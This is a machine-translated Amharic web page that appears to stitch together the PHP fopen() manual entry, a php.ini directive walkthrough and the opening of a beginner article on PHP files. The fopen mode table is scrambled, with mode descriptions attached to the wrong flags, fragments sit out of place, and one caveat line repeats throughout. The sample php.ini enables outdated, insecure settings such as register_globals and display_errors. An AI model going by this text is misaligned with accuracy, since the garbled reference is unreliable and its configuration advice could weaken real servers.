ቤት / የጨዋታ መጫወቻዎች / በ php ውስጥ ከፋይሎች ጋር መስራት: መክፈት, መጻፍ, ማንበብ. ፒኤችፒ የድር ጥያቄን ይከፍት ይሆን? አያያዝ እና ምዝግብ ማስታወሻዎች ላይ ስህተት

በ php ውስጥ ከፋይሎች ጋር መስራት: መክፈት, መጻፍ, ማንበብ. ፒኤችፒ የድር ጥያቄን ይከፍት ይሆን? አያያዝ እና ምዝግብ ማስታወሻዎች ላይ ስህተት

(PHP 4፣ PHP 5፣ PHP 7)

ፎፔን - ፋይል ወይም URL ይከፍታል።

መግለጫ

ምንጭ ፎፔን (string $ ፋይል ስም , ሕብረቁምፊ $ ሁነታ [, bool $use_include_path = ሐሰት [, ሀብት $ አውድ ]])

ፎፔን()በፋይል ስም ክርክር ውስጥ የተገለጸውን የተሰየመውን ሃብት ለዥረቱ ይመድባል።

የመለኪያዎች ዝርዝር

የፋይል ስም በ"scheme://..." ከተላለፈ፣ እንደ ዩአርኤል ይቆጠራል እና ፒኤችፒ ምንም ጥቅል ካልተመደበ ፕሮቶኮል ተቆጣጣሪ ይፈልጋል ፕሮቶኮል፣ ፒኤችፒ በስክሪፕትዎ ውስጥ ሊኖር የሚችለውን ችግር ለመከታተል እንዲረዳዎ ማስጠንቀቂያ ይሰጥዎታል እና ከዚያ የፋይል ስም ወደ መደበኛ ፋይል እንደሚጠቁም ማስፈጸሙን ይቀጥሉ።

ፒኤችፒ የፋይል ስምን ወደ አካባቢያዊ ፋይል ለመጠቆም ካዘጋጀው ወደዚያ ፋይል ዥረት ለመክፈት ይሞክራል።

ፋይሉ በPHP ተደራሽ መሆን አለበት፣ ስለዚህ የፋይሉ ፈቃዶች ይህንን የሚፈቅዱ መሆናቸውን ማረጋገጥ አለብዎት።

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።:

ፒኤችፒ ያንን የፋይል ስም ወደ የተመዘገበ ፕሮቶኮል እንደሚያመላክት ከወሰነ እና ፕሮቶኮሉ እንደ አውታረ መረብ ዩአርኤል ከተመዘገበ ፒኤችፒ የ allow_url_fopen መመሪያን ሁኔታ ያረጋግጣል። ከተሰናከለ ፒኤችፒ ማስጠንቀቂያ ይሰጣል እና የፎፔን ጥሪው አይሳካም።አስተያየት የሚደገፉ ፕሮቶኮሎች ዝርዝር በሚደገፉ ፕሮቶኮሎች እና መጠቅለያዎች ክፍል ውስጥ ይገኛል።አንዳንድ ፕሮቶኮሎች ( መጠቅለያዎችበማሸጊያ ጥቅም ላይ ይውላል http).

በዊንዶውስ መድረክ ላይ, በፋይል ዱካ ውስጥ ያሉትን ሁሉንም የኋላ መንሸራተቻዎች ማምለጥ አለብዎት ወይም ወደፊት መቆራረጥን ይጠቀሙ.

$handle = fopen ("c: \\ አቃፊ \\ resource.txt" , "r");
?>

የሞድ መለኪያው ከክሩ የሚጠይቁትን የመዳረሻ አይነት ይገልጻል። ከሚከተሉት አማራጮች ውስጥ አንዱ ሊሆን ይችላል.

ለ ሊሆኑ የሚችሉ ሁነታዎች ዝርዝር ፎፔን()ሁነታን በመጠቀም
ሁነታ መግለጫ
"ር" ፋይሉን ተነባቢ-ብቻ ይከፍታል; ጠቋሚውን በፋይሉ መጀመሪያ ላይ ያስቀምጣል.
"r+" ለማንበብ እና ለመጻፍ ፋይል ይከፍታል; ጠቋሚውን በፋይሉ መጀመሪያ ላይ ያስቀምጣል.
"ወ" ፋይሉን ለመጻፍ ብቻ ይከፍታል; ጠቋሚውን በፋይሉ መጀመሪያ ላይ ያስቀምጣል እና ፋይሉን ወደ ዜሮ ርዝመት ይከርክመዋል።
ፋይሉ ከሌለ, ለመፍጠር ይሞክራል. "ወ+"
ለማንበብ እና ለመጻፍ ፋይል ይከፍታል; ጠቋሚውን በፋይሉ መጀመሪያ ላይ ያስቀምጣል እና ፋይሉን ወደ ዜሮ ርዝመት ይከርክመዋል። ፋይሉ ከሌለ, ለመፍጠር ይሞክራል.
"ሀ" ፋይሉን ለመጻፍ ብቻ ይከፍታል; ጠቋሚውን በፋይሉ መጨረሻ ላይ ያስቀምጣል. ፋይሉ ከሌለ, ለመፍጠር ይሞክራል.
"a+" ለማንበብ እና ለመጻፍ ፋይል ይከፍታል; ጠቋሚውን በፋይሉ መጨረሻ ላይ ያስቀምጣል. ፋይሉ ከሌለ, ለመፍጠር ይሞክራል. ፎፔን()"x" ለመጻፍ ብቻ ይፈጥራል እና ይከፍታል; ጠቋሚውን በፋይሉ መጀመሪያ ላይ ያስቀምጣል. ፋይሉ ቀድሞውኑ ካለ, ይደውሉበመውደቅ ያበቃል, ይመለሳል ውሸትእና ደረጃ ስህተት ይሰጣል ኢ_ማስጠንቀቂያ. ፋይሉ ከሌለ, ለመፍጠር ይሞክራል. ይህ ባንዲራዎችን ከመግለጽ ጋር እኩል ነው።.
ኦ_EXCL|ኦ_ፍጠር ለውስጣዊ ስርዓት ጥሪ "a+".
ክፍት (2) "x+" "ወ"ለንባብ እና ለመጻፍ ይፈጥራል እና ይከፍታል; አለበለዚያ ተመሳሳይ ባህሪ አለው "a+""ሐ" ፋይሉን ለመጻፍ ብቻ ይከፍታል። ፋይሉ ከሌለ, ተፈጠረ.ፋይሉ ካለ፣ አልተቆረጠም (በተለይ "ወ"), እና ይህንን ተግባር መጥራት ስህተት አይፈጥርም (እንደ ሁኔታው ). የፋይል ጠቋሚው ወደ ፋይሉ መጀመሪያ ይዘጋጃል። ይህ ፋይል መቆለፍ ከፈለጉ ጠቃሚ ሊሆን ይችላል (ይመልከቱመንጋ()
) ከመቀየርዎ በፊት, ከተጠቀሙበት ጊዜ ጀምሮ መቆለፊያው ከመገኘቱ በፊት ፋይሉን መቁረጥ ይችላል (ፋይሉን መቁረጥ ከፈለጉ ተግባሩን መጠቀም ይችላሉ) ክፍት (2).

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።:

ftruncate() ከማገድ ጥያቄ በኋላ)."ሐ+" ለማንበብ እና ለመጻፍ ፋይል ይከፍታል; አለበለዚያ ተመሳሳይ ባህሪ አለውየተለያዩ የስርዓተ ክወና ቤተሰቦች የመስመር መጨረሻዎችን በተመለከተ የተለያዩ ስምምነቶች አሏቸው። ጽሑፍ በሚጽፉበት ጊዜ እና የመስመር መግቻ ለማስገባት ሲፈልጉ ለእርስዎ ትክክለኛ ቁምፊዎችን (ወይም ምልክት) መጠቀም አለብዎት ስርዓተ ክወና. የዩኒክስ ቤተሰብ ስርዓቶች ጥቅም ላይ ይውላሉ \nእንደ መስመር መጨረሻ ቁምፊዎች እና ማኪንቶሽ ስርዓቶች ይጠቀማሉ \rእንደ መስመር ቁምፊ መጨረሻ.

ፋይሎችን በሚያርትዑበት ጊዜ የተሳሳተ መስመር የሚጨርስ ቁምፊን ከተጠቀምክ ፋይሎችን ስትከፍት "የሚገርም" ሆኖ ልታገኘው ትችላለህ።

ዊንዶውስ የጽሑፍ ማሰራጫ ሁነታ ባንዲራ ያቀርባል ( "ቲ"), በራስ-ሰር የሚተረጎም ለማንበብ እና ለመጻፍ ፋይል ይከፍታል; አለበለዚያ ተመሳሳይ ባህሪ አለው\nከፋይሉ ጋር በሚሰሩበት ጊዜ. እና በተቃራኒው - እርስዎም መጠቀም ይችላሉ"ለ" እና በተቃራኒው - እርስዎም መጠቀም ይችላሉሁለትዮሽ ሁነታን ለማስገደድ, ይህም የእርስዎን ውሂብ አይለውጥም. እነዚህን ሁነታዎች ለመጠቀም ይግለጹ "ቲ"ወይም

የሞዱ መለኪያ የመጨረሻው ፊደል. "ቲ"ነባሪው የትርጉም ባንዲራ ቅንብር በSAPI እና እየተጠቀሙበት ባለው የPHP ስሪት ላይ ስለሚወሰን ለተጓጓዥ ምክንያቶች የተገለጸውን ባንዲራ በግልፅ እንዲያዘጋጁ እንመክራለን። ሁነታውን መጠቀም አለብዎት ጋር እየሰሩ ከሆነየጽሑፍ ፋይል ለማንበብ እና ለመጻፍ ፋይል ይከፍታል; አለበለዚያ ተመሳሳይ ባህሪ አለውእና ይጠቀሙ እና በተቃራኒው - እርስዎም መጠቀም ይችላሉ.

እንደ ኖትፓድ ባሉ ሌሎች መተግበሪያዎች ውስጥ ስለ ፋይሎችዎ ተነባቢነት ሳይጨነቁ በስክሪፕትዎ ውስጥ ያለውን የመስመር መጨረሻ ምልክት ለማድረግ። በሌሎች በሁሉም ጉዳዮች ባንዲራውን ይጠቀሙ \n.

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።:

ከሁለትዮሽ ፋይሎች ጋር በሚሰሩበት ጊዜ የ"b" ባንዲራውን በግልፅ ካልገለጹ፣ የተበላሹ የምስል ፋይሎችን እና እንግዳ የምልክት ችግሮች ጨምሮ የውሂብዎ ብልሹነት ሊያጋጥምዎት ይችላል። ፎፔን() .

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።:

ለተንቀሳቃሽነት ምክንያቶች ፋይሎችን በሚከፍቱበት ጊዜ የ"b" ባንዲራ ሁልጊዜ እንዲጠቀሙ በጥብቅ ይመከራል "ቲ"በተጨማሪም፣ በተጓጓዥነት ምክንያት፣ በ ላይ የሚመረኮዝ የቀድሞ ኮድ እንደገና ለመፃፍ በጣም ይመከራል እና በተቃራኒው - እርስዎም መጠቀም ይችላሉ.

በምትኩ ትክክለኛ የመስመር መጨረሻዎችን እና ሁነታን እንዲጠቀም

መንገድን_ጨምሮ የአማራጭ ሶስተኛው መለኪያ አጠቃቀም_include_path ወደ "1" ወይም ሊዋቀር ይችላል።እውነት

እንዲሁም በ _path_path ውስጥ ፋይል መፈለግ ከፈለጉ።

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።: አውድ የአውድ ድጋፍ በ PHP 5.0.0 ታክሏል። ለመግለፅአውዶች

የዥረቶችን ክፍል ይመልከቱ.

ዋጋዎችን ይመልሱ ለመጻፍ ብቻ ይፈጥራል እና ይከፍታል; ጠቋሚውን በፋይሉ መጀመሪያ ላይ ያስቀምጣል. ፋይሉ ቀድሞውኑ ካለ, ይደውሉከተሳካ ጠቋሚ ወደ ፋይሉ ይመልሳል ወይም

ስህተት ቢፈጠር.

ስህተቶች ውሸትፋይሉ መከፈት ካልተቻለ የደረጃ ስህተት ይፈጠራል።

. ይህንን ስህተት ለማፈን ኦፕሬተሩን መጠቀም ይችላሉ።

ለውጦች ዝርዝር

ምሳሌዎች ፎፔን()

ምሳሌ #1 የአጠቃቀም ምሳሌዎች
$handle = fopen("/home/rasmus/file.txt"፣ "r");
$handle = fopen("/home/rasmus/file.gif"፣ "wb");
$handle = fopen ("http://www.example.com/", "r"); $handle = ፎፔን ( "ftp://user:[ኢሜል የተጠበቀ]/somefile.txt"
?>

, "ወ");

ማስታወሻዎች

ትኩረት ኤስኤስኤልን ሲጠቀሙ ማይክሮሶፍት አይአይኤስ አመልካች ሳይልክ ግንኙነቱን በመዝጋት ፕሮቶኮሉን ይጥሳል. ፒኤችፒ ይህንን እንደ "SSL: Fatal Protocol Error" ሪፖርት ያደርጋል የውሂብ መጨረሻ ላይ እንደደረስክ. ይህንን ለማግኘት፣ ስህተት_ሪፖርት ማድረግን ኢ_WARNINGን ወደማያካትት ደረጃ ማቀናበር አለቦት። ፒኤችፒ ስሪቶች 4.3.7 እና ከዚያ በላይ የሆነ መጠቅለያ ተጠቅመው ዥረት ሲከፍቱ በአገልጋዩ በኩል ችግር ያለበት IIS እንዳለ ማወቅ ይችላሉ። https://እና ማስጠንቀቂያ አያሳይም። እየተጠቀሙ ከሆነ fsockopen()ለመፍጠር ssl://ሶኬት፣ ይህንን ማስጠንቀቂያ ማግኘት እና ማፈን የእርስዎ ኃላፊነት ነው።

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።: የሴፍ ሞድ አማራጩ ሲነቃ ፒኤችፒ ሊሰሩበት ያለው ማውጫ ስክሪፕቱ እየተፈጸመ ካለው ጋር ተመሳሳይ UID (ባለቤት) እንዳለው ያረጋግጣል።

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።:

ፋይሎችን በማንበብ ወይም በመጻፍ ላይ ችግሮች ካጋጠሙዎት እና ፒኤችፒን እንደ አገልጋይ ሞጁል እየተጠቀሙ ከሆነ የአገልጋዩ ሂደት እየተጠቀሙባቸው ያሉትን ፋይሎች እና ማውጫዎች ማግኘት እንደሚችሉ ያረጋግጡ።

ደህንነቱ የተጠበቀ ሁነታን ወይም open_basedirን ካነቃህ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።:

የፋይል ስም ማውጫ ከሆነ ይህ ተግባር ሊሳካ ይችላል። የፋይል ስም ፋይል ወይም ማውጫ መሆኑን እርግጠኛ ካልሆኑ ተግባሩን መጠቀም ያስፈልግዎታል is_dir() ፎፔን() .

, ከጥሪው በፊት

  1. የ php.ini ፋይል መገኛ የአስተናጋጅ አቅራቢው አገልጋይ በሚሠራበት ስርዓተ ክወና ላይ ይወሰናል. የት እንዳለ ለማወቅ 4 ቀላል ደረጃዎችን ይከተሉ።
  2. የ php ፋይል ይፍጠሩ (ስሙ ማንኛውም ሊሆን ይችላል ፣ ግን myphpinfo.php እንደ ምሳሌ እንወስዳለን) እና የሚከተሉትን መስመሮች በእሱ ላይ ያክሉ።
  3. ይህንን ፋይል ጣቢያዎ ወደሚገኝበት አገልጋይ (በስር አቃፊ ውስጥ) ይስቀሉ።
  4. በአሳሹ በኩል እንጀምራለን (ዩአርኤል https://yoursitename.com/myphpinfo.php ያስገቡ)።

በሚታየው መስኮት ውስጥ ወደ php.ini የሚወስደውን መንገድ ይፈልጉ (በመጀመሪያ "የተጫነ የማዋቀሪያ ፋይል" የሚለውን ይመልከቱ, "ምንም" የሚል ከሆነ, "የማዋቀር ፋይል (php.ini) ዱካ" የሚለውን ይመልከቱ).

php.ini እንዴት እንደሚዋቀር? የ php.ini ፋይል የሚከተለው አገባብ ደንቦች አሉት "መመሪያ = እሴት". አስተያየቶችን ማከል ከፈለጉ (ለምሳሌ ፣ የሚነካውን የሚያመለክቱበት)ይህ ቅንብር

), ከዚያም ከሴሚኮሎን በኋላ ያድርጉት (ከዚህ ምልክት በኋላ የሚመጣው ሁሉም ነገር እንደ ትዕዛዝ አይቆጠርም). አንድ ምሳሌ ይኸውና፡-

max_execution_time = 40; ለስክሪፕት አፈፃፀም ከፍተኛው የሰከንዶች ብዛት

አጠቃላይ ቅንብሮች

PHPengine = በርቷል; ፒኤችፒ ስክሪፕቶች ነቅተዋል።

አጭር_ክፍት_ታግ = በርቷል; ቀላል የPHP ኮድ መለያዎችን መፍጠር ይፈቅዳል<% %>

Asp_tags = በርቷል; በASP ውስጥ እንደሚደረገው የ PHP ኮድን የማድመቅ ችሎታን ያስችላል -

ትክክለኛነት = 12; ለተንሳፋፊ ነጥብ ቁጥሮች ከአስርዮሽ ነጥብ በኋላ ምን ያህል አሃዞች እንደሚሆኑ ይገልጻል።

የውጤት_ማቋረጫ = 4096; የውጤት ቋት በራስ-ሰር እንዲነቃ ይደረጋል፣ ከ"እኩል" በኋላ ከተጠቀሰው የቋት መጠን ጋር።

Safe_mode_allowed_env_vars = PHP_; ተጠቃሚው በPHP_ ከሚጀምሩ የአካባቢ ተለዋዋጮች ጋር ብቻ እንዲሰራ ያስችለዋል። ይህ መመሪያ ባዶ ከሆነ (ዋጋ አይኖረውም)፣ ተጠቃሚዎች ማንኛውንም የአካባቢ ተለዋዋጮችን መለወጥ ይችላሉ። ይህ ለስክሪፕት ደህንነት በጣም ጎጂ ሊሆን ይችላል።

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; በነጠላ ሰረዞች የተዘረዘሩ ተለዋዋጮችን መለወጥ ይከለክላል።

አሰናክል_ተግባራት =; ከእኩል ምልክት በኋላ ማሰናከል የሚፈልጓቸውን ተግባራት በነጠላ ሰረዞች ተለያይተው መፃፍ ያስፈልግዎታል (ብዙውን ጊዜ ይህ ለደህንነት ሲባል ነው)

ክፍሎችን አሰናክል =; ከ “እኩል” ምልክት በኋላ ፣ በነጠላ ሰረዞች ተለያይተው ፣ መደወል የሚፈልጓቸውን ክፍሎች መፃፍ ያስፈልግዎታል (ብዙውን ጊዜ ይህ የሚደረገው ለደህንነት ነው)

የንብረት ገደብ

max_execution_time = 40; ለስክሪፕት አፈፃፀም ከፍተኛው ጊዜ (በሴኮንዶች ውስጥ)

ከፍተኛው_ግቤት_ጊዜ = 40; የሚጫነውን ውሂብ ለማስኬድ ስክሪፕቱ የሚሰጠው ከፍተኛው በሰከንዶች ውስጥ ነው።

የማህደረ ትውስታ_ገደብ = 16M; ለአንድ ስክሪፕት ከፍተኛው ማህደረ ትውስታ ተመድቧል

አያያዝ እና ምዝግብ ማስታወሻዎች ላይ ስህተት

error_reporting = E_ALL | ኢ_ስህተት | ኢ_ማስጠንቀቂያ | ኢ_PARSE | ኢ_CORE_ስህተት | ኢ_CORE_ማስጠንቀቂያ | ኢ_COMPILE_ስህተት | ኢ_COMPILE_ማስጠንቀቂያ | ኢ_USER_ERROR | E_USER_WARNING | ኢ_USER_ማስታወቂያ ; ሊታዩ የሚችሉ ስህተቶችን ዝርዝር ይገልጻል።

ማሳያ_ስህተት = በርቷል; ስህተቶች በቀጥታ በአሳሹ ውስጥ እንዲታዩ ይፈቅዳል (ብዙውን ጊዜ ለማረም ቀላልነት ጥቅም ላይ ይውላል)።

Display_startup_errors = በርቷል; በ PHP ጅምር ወቅት የሚታዩ ስህተቶች እንዲታዩ ተፈቅዶላቸዋል።

Log_errors = በርቷል; ስህተቶች ወደ ሎግ ፋይል ለመፃፍ ተፈቅዶላቸዋል።

Log_errors_max_len = 1024; የምዝግብ ማስታወሻው ርዝመት ሊሆን የሚችለው ከፍተኛው የቁምፊዎች ብዛት።

Track_errors = በርቷል; የቅርብ ጊዜዎቹ የስህተት መልዕክቶች በ$php_errormsg ተለዋዋጭ ውስጥ ይቀመጣሉ።

Html_errors = በርቷል; የስህተት መልዕክቶች በኤችቲኤምኤል ውስጥ እንዲታዩ ፍቀድ።

Error_log = የፋይል ስም; የስህተት ምዝግብ ማስታወሻውን ስም ያዘጋጃል።

የውሂብ ሂደት

variables_order = "EGPCS"; ፒኤችፒ ተለዋዋጮችን የሚመዘግብበትን ቅደም ተከተል ያዘጋጃል (ኢ - አብሮገነብ ተለዋዋጮች ፣ G - GET ተለዋዋጮች ፣ P - POST ተለዋዋጮች ፣ C - ኩኪዎች ፣ ኤስ - ክፍለ ጊዜዎች)። ማናቸውንም ፊደሎች ካስወገዱ, ተዛማጅ ተለዋዋጮች አሠራር ይታገዳል.

ይመዝገቡ_globals = በርቷል; በGET/POST/ኩኪ/ክፍለ-ጊዜ የሚመጡ ተለዋዋጮችን እንደ መደበኛ ተለዋዋጮች (ለምሳሌ "$variablename") የማስተናገድ ችሎታን ያስችላል።

ይመዝገቡ_argc_argv = በርቷል; ከGET ዘዴ በተገኘ መረጃ ላይ በመመስረት $argv እና $argc ተለዋዋጮችን መፍጠር ተፈቅዶለታል።

Post_max_size = 8M; ሊቀበለው የሚችለውን ከፍተኛውን የውሂብ መጠን ያዘጋጃል።

Magic_quotes_gpc = በርቷል; በPOST/GET/ኩኪ የተቀበሉ ጥቅሶችን በራስ ሰር ማካሄድን ያስችላል።

Auto_prepend_file =; በእነዚህ መመሪያዎች ውስጥ የተገለጹት የፋይሎች ይዘቶች ስክሪፕቱን ከመተግበሩ በፊት በ PHP መከናወን አለባቸው።
auto_append_file =; በእነዚህ መመሪያዎች ውስጥ የተገለጹት የፋይሎች ይዘቶች ስክሪፕቱ ከተሰራ በኋላ በዚሁ መሰረት በPHP መካሄድ አለበት።

Default_mimetype = "ጽሑፍ/html"; ለይዘት አይነት ኢንኮዲንግ ያዘጋጃል። በነባሪ ጽሑፍ/ኤችቲኤምኤል ኢንኮዲንግ ሳይገለጽ ጥቅም ላይ ይውላል

Doc_root =; ለ PHP ስክሪፕቶች የስር አቃፊውን ያዘጋጃል።

Extension_dir = "./"; በተለዋዋጭ የተጫኑ ቅጥያዎች የሚቀመጡበትን አቃፊ ይገልጻል።

ፋይሎችን በመስቀል ላይ

file_uploads = በርቷል; ፋይሎችን ወደ አገልጋዩ መስቀል ይፈቀዳል።

Upload_tmp_dir =; የሚወርዱ ፋይሎች ጊዜያዊ ማውጫ።

Upload_max_filesize = 2M; ሊሰቀል የሚችለውን ከፍተኛውን የፋይል መጠን ያዘጋጃል።

ከሶኬቶች ጋር በመስራት ላይ

user_agent = "PHP"; የUSER_AGENT ተለዋዋጭ የሚዘጋጀው የሶኬት ግንኙነት ሲፈጠር ነው።

ነባሪ_ሶኬት_ጊዜ ማብቂያ = 30; በሶኬት (ሰከንድ) ላይ ለማዳመጥ ከፍተኛው ጊዜ።

ክፍለ-ጊዜዎች

session.save_handler = ፋይሎች; የክፍለ ጊዜ መረጃ በፋይሎች ውስጥ መቀመጥ እንዳለበት ይገልጻል

session.save_path = /tmp; ከእኩል ምልክት በኋላ ስለ ክፍለ-ጊዜዎች መረጃ ወደ ሚቀመጥበት አቃፊ የሚወስደውን መንገድ መግለጽ ያስፈልግዎታል (አቃፊው ቀድሞውኑ መኖሩ አስፈላጊ ነው)

session.use_cookies = 1; በክፍለ-ጊዜዎች ውስጥ ኩኪዎችን መጠቀም ይፈቅዳል

session.name = PHPSESSID; የክፍለ ጊዜው መታወቂያ እንደ የክፍለ ጊዜው ስም እና የክፍለ-ጊዜ ኩኪ መጠቀምን ያመለክታል

ክፍለ ጊዜ.cookie_lifetime = 0; የክፍለ ጊዜው ህይወት ("0" ማለት የአሳሽ መስኮቱ እስኪዘጋ ድረስ ክፍለ ጊዜው ይኖራል ማለት ነው)

session.use_trans_sid = 1; ተጠቃሚው ኩኪዎችን ካሰናከለ የክፍለ ጊዜው መታወቂያ ወደ ሁሉም አገናኞች ይታከላል።

ተለዋዋጭ ቅጥያዎች

ቅጥያ = ሞዱል ስም. ቅጥያ; ውጫዊ ሞጁሎችን ለመጫን ጥቅም ላይ ሊውል ይችላል. ለዊንዶውስ ሲስተሞች አብዛኛውን ጊዜ ኤክስቴንሽን=msql.dll እና ለ ይጽፋሉ
UNIX - ቅጥያ=msql.so

ከ MySQL ሞጁሎች ጋር በመስራት ላይ

mysql.allow_persistent = በርቷል; የተረጋጋ MySQL ግንኙነቶችን ይፈቅዳል።

Mysql.max_persistent = -1; ከፍተኛውን የተረጋጋ MySQL ግንኙነቶች ቁጥር ያዘጋጃል። እርስዎ -1 ከገለጹ, ይህ ማለት ምንም ገደቦች የሉም ማለት ነው.

Mysql.max_links = -1; ከፍተኛውን የተረጋጋ MySQL ግንኙነቶች እና ያልተረጋጋ የኦዲቢሲ ግንኙነቶችን ያዘጋጃል። እርስዎ -1 ከገለጹ, ይህ ማለት ምንም ገደቦች የሉም ማለት ነው.

Mysql.default_port =; ለ mysql_connect ተግባር ወደብ።

Mysql.default_socket =; ለአካባቢያዊ MySQL ግንኙነቶች የሶኬት ስም።

Mysql.default_host =; ለ mysql_connect ተግባር የአስተናጋጅ ስም።

Mysql.default_user =; የተጠቃሚ ስም

Mysql.default_password =; የይለፍ ቃል።

የራስዎን php.ini ፋይል ከፈጠሩ እና በጣቢያው አቃፊ ውስጥ ካስቀመጡት።

በዚህ አጋጣሚ፣ ለደህንነት ሲባል፣ ከእርስዎ በስተቀር ለሁሉም ሰው መዳረሻን ማገድ ያስፈልግዎታል። ይህንን ለማድረግ በ .htaccess ፋይል ውስጥ የሚከተለውን ኮድ መጻፍ ያስፈልግዎታል:


ማዘዝ መፍቀድ ፣ መከልከል
ከሁሉም መካድ

ግን ተጠንቀቅ ምክንያቱም... በነዚህ ቅንጅቶች ሁሉም መመሪያዎች (php_value, php_flag, ወዘተ) በ .htaccess ፋይሉ በኩል ከ php መቼቶች ጋር የሚገናኙት መስራታቸውን ያቆማሉ (የ 500 Internal Server ስህተት ይታያል).

አስፈላጊ! የእራስዎን php.ini ፋይል ከፈጠሩ, እሱ ያለበትን ማውጫ ብቻ ነው የሚነካው.

ምንጭ ፎፔን(ሕብረቁምፊ ፋይል ስም፣ የሕብረቁምፊ ሁነታ [፣ bool use_include_path [፣ resource zcontext]])

ፎፔን()በፋይል ስም ክርክር ውስጥ የተገለጸውን የተሰየመውን ሃብት ለዥረቱ ይመድባል። የፋይል ስም በ"scheme://..." ከተላለፈ፣ እንደ ዩአርኤል ይቆጠራል እና ፒኤችፒ ምንም ጥቅል ካልተመደበ ፕሮቶኮል ተቆጣጣሪ ይፈልጋል ፕሮቶኮል፣ ፒኤችፒ በእርስዎ ስክሪፕት ውስጥ ሊኖር የሚችለውን ችግር ለመከታተል እንዲረዳዎ ማስታወሻ ይልክልዎታል እና የፋይል ስም ወደ መደበኛ ፋይል እንደሚያመለክት መፈጸሙን ይቀጥላል።

ፒኤችፒ ያንን የፋይል ስም ወደ አካባቢያዊ ፋይል እንደሚያመለክት ከወሰነ፣ ወደዚያ ፋይል ዥረት ለመክፈት ይሞክራል። ፋይሉ በPHP ተደራሽ መሆን አለበት፣ ስለዚህ የፋይሉ ፈቃዶች ይህንን የሚፈቅዱ መሆናቸውን ማረጋገጥ አለብዎት። Safe Mode ወይም open_basedir የነቃ ከሆነ ተጨማሪ ገደቦች ተፈጻሚ ይሆናሉ።

ፒኤችፒ የፋይል ስም ወደ የተመዘገበ ፕሮቶኮል እንዲጠቁም ከወሰነ እና ፕሮቶኮሉ እንደ አውታረ መረብ ዩአርኤል ከተመዘገበ ፒኤችፒ የ allow_url_fopen መመሪያን ሁኔታ ያረጋግጣል። ከተሰናከለ ፒኤችፒ ማስጠንቀቂያ ይሰጣል እና የፎፔን ጥሪው አይሳካም።

አስተያየት፡-አንዳንድ ፕሮቶኮሎች አውድ እና/ወይም php.ini አማራጮችን ይደግፋሉ። ሊዘጋጁ የሚችሉ አማራጮች ዝርዝር ተገቢውን የፕሮቶኮል ገጽ ይመልከቱ። (ለምሳሌ የ php.ini user_agent እሴት በ http መጠቅለያ ጥቅም ላይ ይውላል)። የአውድ እና የ zcontext መለኪያዎችን ገለጻ ለማግኘት የዥረት ተግባራት ክፍልን ይመልከቱ።

አስተያየት፡-የአውድ ድጋፍ በ PHP 5.0.0 ታክሏል።

አስተያየት፡-እንደ ፒኤችፒ 4.3.2፣ ሁለትዮሽ ሁነታ በሁለትዮሽ እና በጽሑፍ ሁነታዎች መካከል ለሚለዩት ሁሉም መድረኮች ነባሪ ሁነታ ነው። ካሻሻሉ በኋላ ችግሮች እያጋጠሙዎት ከሆነ፣ ከላይ እንደተገለፀው የላቀ ተንቀሳቃሽነት ለማግኘት እስክሪፕቶቻችሁን እስክትቀይሩ ድረስ የ"t" ባንዲራውን እንደ መፍትሄ ለመጠቀም ይሞክሩ።

የሞድ መለኪያው ከክሩ የሚጠይቁትን የመዳረሻ አይነት ይገልጻል። ከሚከተሉት ውስጥ አንዱ ሊሆን ይችላል.

ፋይሉ መከፈት ካልተቻለ ተግባሩ ይመለሳል ውሸትእና ደረጃ ስህተት ይፈጥራል ኢ_ማስጠንቀቂያ. ይህንን ማስጠንቀቂያ ለማፈን ይህንን መጠቀም ይችላሉ።


ምሳሌ 1. ተግባሩን የመጠቀም ምሳሌዎች ፎፔን()

ምሳሌ #1 የአጠቃቀም ምሳሌዎች
$handle = fopen("/home/rasmus/file.txt"፣ "r");
$handle = fopen("/home/rasmus/file.gif"፣ "wb");
$handle = fopen ("http://www.example.com/", "r"); $handle = ፎፔን ( "ftp://user:[ኢሜል የተጠበቀ]/somefile.txt"
?>

ፋይሎችን በማንበብ ወይም በመጻፍ ላይ ችግሮች ካጋጠሙዎት እና ፒኤችፒን እንደ አገልጋይ ሞጁል እየተጠቀሙ ከሆነ የአገልጋዩ ሂደት እየተጠቀሙባቸው ያሉትን ፋይሎች እና ማውጫዎች ማግኘት እንደሚችሉ ያረጋግጡ።

16.5 ኪ

እንደ እውነቱ ከሆነ, የ php ፋይል እንዴት እንደሚከፈት ትልቅ ችግር አይደለም. በጫካ መካከል ሲሆኑ አንድ ጠርሙስ ቢራ ለመክፈት ከባድ ሊሆን ይችላል. ግን እንደዚህ የሚያስቡት ጉጉ ፕሮግራመሮች ብቻ ናቸው። እና ለጀማሪዎች ከፋይሎች ጋር ለመስራት ስለ ፒኤችፒ ሁሉንም ችሎታዎች እንነግርዎታለን-

php ፋይሎች

የ php ቅጥያ ያላቸው ፋይሎች በተመሳሳይ ስም በፕሮግራሚንግ ቋንቋ የተጻፈ ኮድ ይይዛሉ። ከሌሎች ቋንቋዎች በተለየ፣ php ከአገልጋይ ወገን የፕሮግራም አወጣጥ ቋንቋ ነው። ማለትም በአገልጋዩ በኩል ይሰራል። ስለዚህ, የእሱን ኮድ ለማረም, የአካባቢ አገልጋይ በደንበኛው ማሽን ላይ መጫን አለበት.

ከ php ፋይሎች ጋር ለመስራት ልዩ መተግበሪያዎች ጥቅም ላይ ይውላሉ - የሶፍትዌር አርታኢዎች። በጣም የተለመዱት የሚከተሉት ናቸው:

  • Dreamweaver.
  • ፒኤችፒኤዲት
  • Eclipse PHP ልማት.
